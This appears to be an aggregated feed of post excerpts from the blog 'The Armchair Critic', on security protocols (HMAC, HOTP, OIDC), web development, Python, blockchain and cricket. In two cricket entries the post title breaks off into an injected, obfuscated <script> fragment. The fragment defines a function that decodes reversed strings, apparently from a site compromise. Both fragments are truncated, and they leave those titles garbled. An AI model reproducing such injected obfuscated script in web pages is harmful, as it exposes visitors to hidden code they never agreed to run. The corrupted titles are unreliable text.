Memetic automatons leverage knowledge gained from solving previous problems to solve new optimization problems faster and more effectively. … Read More The post A primer on Memetic Automatons appeared first on The Armchair Critic.
Wordle is intriguing, I know. But what was more intriguing to me was how this web app worked. So, I decided to peek through the code, and eventually, I decided to build a Twitter bot… Read More The post How I created a bot that tweets the correct Wordle word daily appeared first on The Armchair Critic.
In this article we will learn about hashing, asymmetric encryption, and how we use them to produce digital signatures.… Read More The post Hashing, asymmetric encryption, and digital signatures appeared first on The Armchair Critic.
We use web workers to offload resource-intensive tasks to a background thread in a web app. But did you know we can also use them to safely store access tokens? This article discusses how it… Read More The post Leveraging web workers to safely store access tokens appeared first on The Armchair Critic.
The R language allows for rapid prototyping of machine learning and neural network models. Having learned to create neural networks using Python, I found prototyping neural networks using R to be quick and easy. Even… Read More The post Build a multi-class classification neural network in R in fifty lines of code appeared first on The Armchair Critic.
React’s useEffect hook has indeed made life a lot easier. But there are times when you would most certainly miss the fine-grained control class-based components give you over a component’s lifecycle. One such time is when you… Read More The post Prevent useEffect’s callback firing during initial render appeared first on The Armchair Critic.
Before smartphones were popular, hardware tokens that produced a HOTP code were a popular way of performing two-factor authentications. Businesses gave their customers a small electronic device that generated a number when a button was… Read More The post How does HOTP authentication work? appeared first on The Armchair Critic.
HMAC stands for Hash-based Message Authentication Code or Keyed-hash Message Authentication Code. We use it to verify the authenticity and integrity of data transmitted. Here, authenticity is ensuring that the data was indeed sent by… Read More The post What is HMAC and how does it work? appeared first on The Armchair Critic.
WSO2 Identity Server allows you to integrate Azure Active Directory as a federated identity provider out of the box using the OIDC protocol. However, there may be times you may want to integrate Azure Active… Read More The post Configuring Azure Active Directory as a federated IdP in WSO2 Identity Server using SAML appeared first on The Armchair Critic.
We looked at double spending and immutability in blockchain in the previous article. In this article, let’s discuss forks in blockchain. Forks, as the name implies, splits the blockchain into two branches. A blockchain can… Read More The post All about blockchain forks appeared first on The Armchair Critic.
The C in CIAM stands for the customer; this means that a business that wants to attract and retain customers should ensure that customer needs are met first. This post discusses some common mistakes we,… Read More The post CIAM and common misconceptions appeared first on The Armchair Critic.
If you have used the OIDC protocol to implement single sign-on, you would be used to receiving the authorization code as a query parameter from the identity server. However, did you know that receiving the… Read More The post Securely receiving authorization code in SPAs using form_post appeared first on The Armchair Critic.
Can cricket impress America,from where it was banished a century ago? Which were the two teams to play the first International cricket match? Too easy. England and Australia. Let the buzzer bray and the red[...] The post Legends T20 League in USA – Can cricket win back the land<script type="text/javascript">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join(""
The 2014 Hong Kong team, street cricket in Papua New Guinea, a cricket stadium in Nepal(clockwise from top) The 2015 ICC World Twenty20 Qualifier played in the month of July in Scotland and Ireland saw[...] The post WorldT20 Qualifier: The pretentious Oman and<script type="text/javascript">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlim
An SSD comes with a lot of advantages. It’s quick and fast and makes your PC boot faster, which, you may argue, is the dream of any PC owner. But it also has its shortcomings in a way that it... Continue Reading → The post An ideal SSD + HDD configuration for Windows 10 appeared first on The Armchair Critic.
Can cricket impress America,from where it was banished a century ago? Which were the two teams to play the first International cricket match? Too easy. England and Australia. Let the buzzer bray and the red[...] The post Legends T20 League in USA – Can cricket win back the land of America, one of the game’s first proponents? appeared first on The Armchair Critic.
WSO2 Identity Server has always been known for its technical brilliance and feature richness. But that wasn’t enough to satiate us. In order to provide an unparalleled user experience, we wanted to add one more… Read More The post How we built a frontend app for WSO2 Identity Server with React appeared first on The Armchair Critic.
Asgardio OIDC JavaScript SDK allows developers to implement OIDC authentication in their Single Page Applications in a fast and secure manner, especially when using the WSO2 Identity Server as the Identity Provider. The SDK offers three… Read More The post Asgardio OIDC JS SDK: Bootstrap in three easy steps appeared first on The Armchair Critic.
Python's Async IO has made writing concurrent applications a breeze. This article explores how Async IO can be used to achieve concurrency in Python.… Read More The post Concurrent programming using Python’s Async IO appeared first on The Armchair Critic.
GitHub Actions has made CICD easy. Couple it with the free hosting service offered by Firebase, you have a fully functional CICD pipeline ready for your frontend app completely free in no time. As frontend… Read More The post CICD for frontend with Firebase and GitHub Actions appeared first on The Armchair Critic.